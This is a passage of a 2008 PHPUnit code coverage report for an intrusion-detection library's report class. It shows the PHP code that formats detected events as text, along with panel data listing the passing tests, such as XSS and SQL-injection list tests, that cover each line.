id="line297"> 297</a> </span><span class="lineCov"> 1 : foreach ($this->events as $event) { </span> -<span class="lineNum" id="container298"><a name="298"></a><a href="#298" id="line298"> 298</a> </span> : $output .= "<br/>\nVariable: " . -<span class="lineNum" id="container299"><a name="299"></a><a href="#299" id="line299"> 299</a> </span><span class="lineCov"> 1 : htmlspecialchars($event->getName()) . ' | Value: ' . </span> -<span class="lineNum" id="container300"><a name="300"></a><a href="#300" id="line300"> 300</a> </span><span class="lineCov"> 1 : htmlspecialchars($event->getValue()) . "<br/>\n"; </span> -<span class="lineNum" id="container301"><a name="301"></a><a href="#301" id="line301"> 301</a> </span><span class="lineCov"> 1 : $output .= 'Impact: ' . $event->getImpact() . ' | Tags: ' . </span> -<span class="lineNum" id="container302"><a name="302"></a><a href="#302" id="line302"> 302</a> </span><span class="lineCov"> 1 : join(', ', $event->getTags()) . "<br/>\n"; </span> -<span class="lineNum" id="container303"><a name="303"></a><a href="#303" id="line303"> 303</a> </span> : -<span class="lineNum" id="container304"><a name="304"></a><a href="#304" id="line304"> 304</a> </span><span class="lineCov"> 1 : foreach ($event as $filter) { </span> -<span class="lineNum" id="container305"><a name="305"></a><a href="#305" id="line305"> 305</a> </span><span class="lineCov"> 1 : $output .= 'Description: ' . $filter->getDescription() . </span> -<span class="lineNum" id="container306"><a name="306"></a><a href="#306" id="line306"> 306</a> </span><span class="lineCov"> 1 : ' | '; </span> -<span class="lineNum" id="container307"><a name="307"></a><a href="#307" id="line307"> 307</a> </span><span class="lineCov"> 1 : $output .= 'Tags: ' . join(', ', $filter->getTags()) . </span> -<span class="lineNum" id="container308"><a name="308"></a><a href="#308" id="line308"> 308</a> </span><span class="lineCov"> 1 : ' | '; </span> -<span class="lineNum" id="container309"><a name="309"></a><a href="#309" id="line309"> 309</a> </span><span class="lineCov"> 1 : $output .= 'ID: ' . $filter->getId() . </span> -<span class="lineNum" id="container310"><a name="310"></a><a href="#310" id="line310"> 310</a> </span><span class="lineCov"> 1 : "<br/>\n"; </span> -<span class="lineNum" id="container311"><a name="311"></a><a href="#311" id="line311"> 311</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container312"><a name="312"></a><a href="#312" id="line312"> 312</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container313"><a name="313"></a><a href="#313" id="line313"> 313</a> </span> : -<span class="lineNum" id="container314"><a name="314"></a><a href="#314" id="line314"> 314</a> </span><span class="lineCov"> 1 : $output .= '<br/>'; </span> -<span class="lineNum" id="container315"><a name="315"></a><a href="#315" id="line315"> 315</a> </span> : -<span class="lineNum" id="container316"><a name="316"></a><a href="#316" id="line316"> 316</a> </span><span class="lineCov"> 1 : if ($centrifuge = $this->getCentrifuge()) { </span> -<span class="lineNum" id="container317"><a name="317"></a><a href="#317" id="line317"> 317</a> </span><span class="lineNoCov"> 0 : $output .= 'Centrifuge detection data'; </span> -<span class="lineNum" id="container318"><a name="318"></a><a href="#318" id="line318"> 318</a> </span> : $output .= '<br/> Threshold: ' . -<span class="lineNum" id="container319"><a name="319"></a><a href="#319" id="line319"> 319</a> </span><span class="lineNoCov"> 0 : ((isset($centrifuge['threshold'])&&$centrifuge['threshold']) ?</span> -<span class="lineNum" id="container320"><a name="320"></a><a href="#320" id="line320"> 320</a> </span><span class="lineNoCov"> 0 : $centrifuge['threshold'] : '---'); </span> -<span class="lineNum" id="container321"><a name="321"></a><a href="#321" id="line321"> 321</a> </span> : $output .= '<br/> Ratio: ' . -<span class="lineNum" id="container322"><a name="322"></a><a href="#322" id="line322"> 322</a> </span><span class="lineNoCov"> 0 : ((isset($centrifuge['ratio'])&&$centrifuge['ratio']) ? </span> -<span class="lineNum" id="container323"><a name="323"></a><a href="#323" id="line323"> 323</a> </span><span class="lineNoCov"> 0 : $centrifuge['ratio'] : '---'); </span> -<span class="lineNum" id="container324"><a name="324"></a><a href="#324" id="line324"> 324</a> </span><span class="lineNoCov"> 0 : if(isset($centrifuge['converted'])) { </span> -<span class="lineNum" id="container325"><a name="325"></a><a href="#325" id="line325"> 325</a> </span><span class="lineNoCov"> 0 : $output .= '<br/> Converted: ' . $centrifuge['converted']; </span> -<span class="lineNum" id="container326"><a name="326"></a><a href="#326" id="line326"> 326</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container327"><a name="327"></a><a href="#327" id="line327"> 327</a> </span><span class="lineNoCov"> 0 : $output .= "<br/><br/>\n"; </span> -<span class="lineNum" id="container328"><a name="328"></a><a href="#328" id="line328"> 328</a> </span><span class="lineNoCov"> 0 : } </span> -<span class="lineNum" id="container329"><a name="329"></a><a href="#329" id="line329"> 329</a> </span><span class="lineCov"> 1 : } </span> -<span class="lineNum" id="container330"><a name="330"></a><a href="#330" id="line330"> 330</a> </span> : -<span class="lineNum" id="container331"><a name="331"></a><a href="#331" id="line331"> 331</a> </span><span class="lineCov"> 2 : return isset($output) ? $output : ''; </span> -<span class="lineNum" id="container332"><a name="332"></a><a href="#332" id="line332"> 332</a> </span><span class="lineDeadCode"> : } </span> -<span class="lineNum" id="container333"><a name="333"></a><a href="#333" id="line333"> 333</a> </span> : } -<span class="lineNum" id="container334"><a name="334"></a><a href="#334" id="line334"> 334</a> </span> : -<span class="lineNum" id="container335"><a name="335"></a><a href="#335" id="line335"> 335</a> </span> : /* -<span class="lineNum" id="container336"><a name="336"></a><a href="#336" id="line336"> 336</a> </span> : * Local variables: -<span class="lineNum" id="container337"><a name="337"></a><a href="#337" id="line337"> 337</a> </span> : * tab-width: 4 -<span class="lineNum" id="container338"><a name="338"></a><a href="#338" id="line338"> 338</a> </span> : * c-basic-offset: 4 -<span class="lineNum" id="container339"><a name="339"></a><a href="#339" id="line339"> 339</a> </span> : * End: -<span class="lineNum" id="container340"><a name="340"></a><a href="#340" id="line340"> 340</a> </span> : */ - -</pre> - </td> - </tr> - </table> - - <table width="100%" border="0" cellspacing="0" cellpadding="0"> - <tr><td class="ruler"><img src="glass.png" width="3" height="3" alt=""></td></tr> - <tr><td class="versionInfo">Generated by <a href="http://www.phpunit.de/">PHPUnit 3.3.1</a> and <a href="http://www.xdebug.org/">Xdebug 2.1.0-dev</a> at Mon Dec 22 13:57:42 CET 2008.</td></tr> - </table> - - <br /> - - <script language="javascript"> - $E = YAHOO.util.Event; - YAHOO.namespace("phpunit.container"); - YAHOO.phpunit.container.panelsData = { - "panel102": { - "header": "59 tests cover line 102", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel103": { - "header": "19 tests cover line 103", - "body": "<ul><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel104": { - "header": "19 tests cover line 104", - "body": "<ul><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel105": { - "header": "19 tests cover line 105", - "body": "<ul><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel106": { - "header": "19 tests cover line 106", - "body": "<ul><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel107": { - "header": "59 tests cover line 107", - "body": "<ul><li class=\"testPassed\">testGetHTML(IDS_MonitorTest)</li><li class=\"testPassed\">testGetStorage(IDS_MonitorTest)</li><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testNoResult(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsString(IDS_MonitorTest)</li><li class=\"testPassed\">testSetExceptionsArray(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningNegative(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testForFalseAlerts(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel118": { - "header": "52 tests cover line 118", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel119": { - "header": "52 tests cover line 119", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li class=\"testPassed\">testImpactSum(IDS_ReportTest)</li><li class=\"testPassed\">testHasEvent(IDS_ReportTest)</li><li class=\"testPassed\">testAddingAnotherEventAfterCalculation(IDS_ReportTest)</li><li class=\"testPassed\">testIteratorAggregate(IDS_ReportTest)</li><li class=\"testPassed\">testToString(IDS_ReportTest)</li><li class=\"testPassed\">testToStringEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testGetEvent(IDS_ReportTest)</li><li class=\"testPassed\">testGetEventWrong(IDS_ReportTest)</li><li class=\"testPassed\">testEventConstructorExceptions1(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions2(IDS_ExceptionTest)</li><li class=\"testPassed\">testEventConstructorExceptions3(IDS_ExceptionTest)</li><li class=\"testPassed\">testGetEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testHasEventException(IDS_ExceptionTest)</li><li class=\"testPassed\">testInitConfigWrongPathException(IDS_ExceptionTest)</li><li class=\"testPassed\">testWrongXmlFilterPathException(IDS_ExceptionTest)</li></ul>", - "footer": "" - }, - "panel121": { - "header": "52 tests cover line 121", - "body": "<ul><li class=\"testPassed\">testRunWithTags(IDS_MonitorTest)</li><li class=\"testPassed\">testRun(IDS_MonitorTest)</li><li class=\"testPassed\">testList(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithJsonFilters(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithKeyScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithException(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeys(IDS_MonitorTest)</li><li class=\"testPassed\">testListWithSubKeysAndExceptions(IDS_MonitorTest)</li><li class=\"testPassed\">testAttributeBreakerList(IDS_MonitorTest)</li><li class=\"testPassed\">testCommentList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConcatenatedXSSList2(IDS_MonitorTest)</li><li class=\"testPassed\">testXMLPredicateXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testConditionalCompilationXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSelfContainedXSSList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList2(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList3(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList4(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList5(IDS_MonitorTest)</li><li class=\"testPassed\">testSQLIList6(IDS_MonitorTest)</li><li class=\"testPassed\">testDTList(IDS_MonitorTest)</li><li class=\"testPassed\">testURIList(IDS_MonitorTest)</li><li class=\"testPassed\">testRFEList(IDS_MonitorTest)</li><li class=\"testPassed\">testUTF7List(IDS_MonitorTest)</li><li class=\"testPassed\">testBase64CCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testDecimalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testOctalCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testHexCCConverter(IDS_MonitorTest)</li><li class=\"testPassed\">testLDAPInjectionList(IDS_MonitorTest)</li><li class=\"testPassed\">testAllowedHTMLScanningPositive(IDS_MonitorTest)</li><li class=\"testPassed\">testJSONScanning(IDS_MonitorTest)</li><li class=\"testPassed\">testEmpty(IDS_ReportTest)</li><li class=\"testPassed\">testCountable(IDS_ReportTest)</li><li class=\"testPassed\">testGetterByName(IDS_ReportTest)</li><li class=\"testPassed\">testGetTags(IDS_ReportTest)</li><li 